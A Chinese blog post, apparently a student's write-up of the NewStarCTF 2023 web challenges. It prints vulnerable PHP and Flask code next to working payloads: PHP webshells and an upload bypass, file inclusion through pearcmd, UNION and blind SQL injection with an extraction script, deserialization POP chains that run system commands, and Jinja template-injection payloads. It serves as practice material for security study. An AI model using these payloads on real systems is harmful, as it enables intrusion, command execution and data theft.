NewStarCTF 2023 web

  • 开发
  • 25

目录

week1

泄漏的秘密

Begin of Upload

Begin of HTTP

ErrorFlask

Begin of PHP

R!C!E!

EasyLogin

week2

游戏高手

include 0。0

ez_sql

Unserialize？

Upload again!

R!!C!!E!!

week3

Include 🍐

medium_sql

POP Gadget

GenShin

week4

逃

week1

泄漏的秘密

访问 /robots.txt  可以得到  flag{r0bots_1s_s0_us3ful

访问 /www..zip 下载文件，有两个文件，放了flag
（目录扫描）

 flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

后缀名可以是php，比较简单，|
蚁剑连一下

flag{c31619ad-76d9-4bab-85c3-65675a57171a}

Begin of HTTP

先是需要get传参，然后post传参
post 传参的值查看源代码，base64解密

?ctf=1
secret=n3wst4rCTF2023g00000d

然后就是

最后本地用户感觉有点问题

要用 X-Real-IP: 127.0.0.1

ErrorFlask

随便传一些东西，会报错，flag就藏在里面

Begin of PHP

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

?key1[]=1&key2[]=2&key4[]=1&key5=2024a

post : key3[]=1&flag5= ^

flag{4ffc2cc7-f66a-42cb-9655-7d9e49b55945}

主要是最后一步，本来以为是整个post传参的值不能出现字母和数字，但好像只是 flag5不能出现字母和数字，直接给flag5 赋值一个特殊的字符
也还可以通过数组绕过，flag5[]=  (空格) (虽然我也不晓得为什么这又可以通过数组绕)
（代码中不存在 $flag5 这个变量，但是有extract() ）

R!C!E!

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

114514 md5 加密后前六位为c4d038

e_v.a.1  要写成  e[v.a.1
php的一个特性，"["会被解析成“_”，并且在“[”之后不规范的字符都不会再被转化，

password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');

flag{d6972660-584b-4eea-bc8e-2a958fe53e8c}

EasyLogin

随便输入密码抓包，发现对密码进行了加密，是MD5加密

注册再登进去有点莫名其妙,可以看到有个 111 是注册的用户名，
可能会存在admin用户名，但不知道密码，进行爆破

爆破出密码为 000000

登进去好像还是啥也没有

看了其他人的wp应该是抓包 在history中有个302重定向的包。在发送到repeater ，就可以得到flag
但是我用admin 和 000000  再重新抓包的时候查看history没有发现 302的包，有点奇怪

应该是环境的问题吧，别人的flag是在这个文件下发现的，但是我这里却是404，不晓得为啥

week2

游戏高手

游戏通关不了了，太难了

在控制台输入分数，继续返回到之前的页面玩游戏，可以发现分数变了，游戏结束就可以得到flag

include 0。0

过滤了两种过滤器，还有好多种过滤器，随便用一种

?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

ez_sql

sql注入类型的
进过测试，发现 or select 等一些东西都被过滤了，
但是没过滤大写，可以通过大小写绕过
可以测出有5列, 万能密码试一下

查表名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() %23

查列名
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='here_is_flag' %23

查数据
?id=-1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) FROM here_is_flag %23

Unserialize？

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

POST:   unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}
(列一下目录，注意$cmd 前面是 private)

虽然过滤了一些读取文件的命令，但还是有好多，尝试一些其他的

unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}

Upload again!

先随便上传文件，然后bp抓包 ，
进过尝试可以发现 .htaccess可以上传
写入内容：  AddType application/x-httpd-php .png    可以上传成功
然后上传   1.png
但是 过滤了<? 需要绕过
<script language='php'>@eval($_POST[1])</script>  也可以上传成功

明明是上传成功了，但访问不了，总是报错，蚁剑也连不上
试了一下别人成功的方法，也是报错，感觉应该是环境的问题

R!!C!!E!!

提示有信息泄露，dirsearch扫描一下

使用工具：GitHack

在文件中下载了3个文件

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}
#!/bin/bash
echo "$FLAG" > /flag && \
export FLAG=not && FLAG=not && \
service apache2 restart && \
tail -f /dev/null

(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))

这行代码表明需要进行  无参数RCE

getallheaders()：获取所有 HTTP 请求标头，但是该函数只能在Apache环境下使用

array_flip()：交换数组中的键和值，成功时返回交换后的数组，如果失败返回 NULL

array_rand()：从数组中随机取出一个或多个单元，如果只取出一个(默认为1)，array_rand() 返回随机单元的键名。

?star=print_r(getallheaders());

然后bp抓包添加请求头
flag: system("ls /");

再用array_flip  和array_rand  得到system("ls /");
包裹上 eval  ,执行命令

?star=eval(array_rand(array_flip(getallheaders())));

多尝试几遍，发现执行了命令

week3

Include 🍐

之前写过，利用pearcmd.php

直接传参：

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php

到/tmp/shell.php文件下进行  rce
文件包含题(进阶)-CSDN博客

medium_sql

万能密码尝试一下

刚开始试着的时候，一直没发现竟然是布尔盲注，我说怎么一直没有回显，一直检查是不是哪里语法有问题
需要写脚本，虽然我写的脚本很low，但也勉强能运行

import time
import requests

dic='1234_567890{}qwer-tyuiopasdfghjklzxcvbnm'
url='http://74efb8e1-f799-4d94-b4aa-a73f536b2dad.node5.buuoj.cn:81/'

# payload="?id=TMP0919' And if((oRd(suBstr((SELECT TABLE_NAME FroM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1),{0},1)))={1},1,0)%23"
# 改一下limit  第一张表为：grades  第二张表为 here_is_flag

# payload="?id=TMP0919' And if((oRd(suBstr((SELECT ColuMN_NAME FroM INFORMATION_SCHEMA.COlumnS WHERE TABLE_naMe='here_is_flag' LIMIT 0,1),{0},1)))={1},1,0)%23"
# 列名为 flag

payload="?id=TMP0919' And if((oRd(suBstr((SELECT flag FroM here_is_flag LIMIT 0,1),{0},1)))={1},1,0)%23"


flag=''
column_name=''
tb_name=''

URL=url+payload
for i in range(1,60):
    for j in dic:
        res=requests.get(url=URL.format(i,ord(j)))
        # print(res.text)
        if 'TMP0919' in res.text:
            # tb_name+=j
            # column_name+=j
            flag+=j
            print(j)
            break
    # print("表名为：{}".format(tb_name))
    # print("列名为：{}".format(column_name))
    print("flag为:{}".format(flag))
#  第一次设的长度太短了，还有一部分没跑出来，有点无语 flag{55d9507f-1ee9-44d8-8cb6-62fd080faa
#  flag{55d9507f-1ee9-44d8-8cb6-62fd080faa15}

POP Gadget

 <?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

pop链：

  Begin  __destruct->Then  __toString ->Supei  __invoke-> Handle  __call  ->CTF __end()
   ->Whitegod  __unset

$a=new Begin();
$a->name=new Then();
$a->name->func=new Super();
$a->name->func->obj=new Handle();
$a->name->func->obj->obj=new CTF();
$a->name->func->obj->obj->handle=new WhiteGod();
$a->name->func->obj->obj->handle->func='system';
$a->name->func->obj->obj->handle->var='ls /';

echo urlencode(serialize($a));

pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}}Hello

pop=O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /flag";}}}}}}

GenShin

抓包，可以看到有目录信息

访问到页面

尝试传参试试  ?name=admin

?name={%print("".__class__)%}   存在ssti注入

?name={%print("".__class__.__base__.__subclasses__())%}
找能够利用的函数  

?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__)%}

参考：[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

这个也可以，之前一直试的这个，一直不能成功，突然又可以了，可能之前哪里格式错了

?name={%print("".__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__["po""pen"]("ls /").read())%}

week4

逃

 <?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data flag{6edd79e9-fec6-4a7b-8523-3a403dd91a0e}

字符串逃逸，每次bad -> good 就可以逃逸出一个字符
cmd=whoami,无法改变，需要自己造一个cmd，进行反序列化

";s:3:"cmd";s:4:"ls /";}  共有24个字符，所以需要逃逸24个

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

阅读全部

相关推荐

最近更新

  3. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-22 06:54:05       98 阅读

  4. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-22 06:54:05       106 阅读

  9. 在Django里面运行非项目文件

    2024-04-22 06:54:05       87 阅读

  19. Python语言-面向对象

    2024-04-22 06:54:05       96 阅读

  20. 如何分清楚常见的 Git 分支管理策略Git Flow、GitHub Flow 和 GitLab Flow

    2024-04-22 06:54:05       91 阅读

热门阅读

  2. NPM 详解

    2024-04-22 06:54:05       41 阅读

  3. 开发语言漫谈-SQL

    2024-04-22 06:54:05       39 阅读

  4. 在 Apache Sedona 中处理空间栅格数据

    2024-04-22 06:54:05       35 阅读

  7. Qt查询mysql表的信息解释

    2024-04-22 06:54:05       38 阅读

  10. pyflink统计单词

    2024-04-22 06:54:05       39 阅读

  12. 20240420

    2024-04-22 06:54:05       39 阅读

  16. 【无标题】

    2024-04-22 06:54:05       34 阅读

  17. 前端nodead面试题

    2024-04-22 06:54:05       32 阅读

  20. 前端系列-2 模块化CommonJs+AMD+CMD+ES6

    2024-04-22 06:54:05       24 阅读

  22. ES6 import / export / export default type=module

    2024-04-22 06:54:05       38 阅读

  23. eCognition 分类

    2024-04-22 06:54:05       35 阅读

  26. 数据结构--双向链表

    2024-04-22 06:54:05       37 阅读

  29. JVM中的GC如何判断对象可以被回收

    2024-04-22 06:54:05       39 阅读

  30. Vue-router的动态路由：获取传递的值

    2024-04-22 06:54:05       25 阅读